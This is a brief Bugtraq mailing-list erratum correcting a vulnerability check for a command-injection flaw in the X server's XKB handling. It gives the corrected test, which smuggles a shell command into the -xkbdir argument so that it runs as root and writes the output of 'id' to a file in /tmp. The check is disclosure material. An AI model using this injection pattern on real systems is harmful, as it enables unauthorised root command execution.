Bugtraq: serious security problem in XKB--ERRATUM

[peak () kerberos troja mff cuni cz (Pavel Kankovsky)]

> Quick vulnerability check:
>
> $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
> [exit X server]
> $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
This should read:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


--Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms ]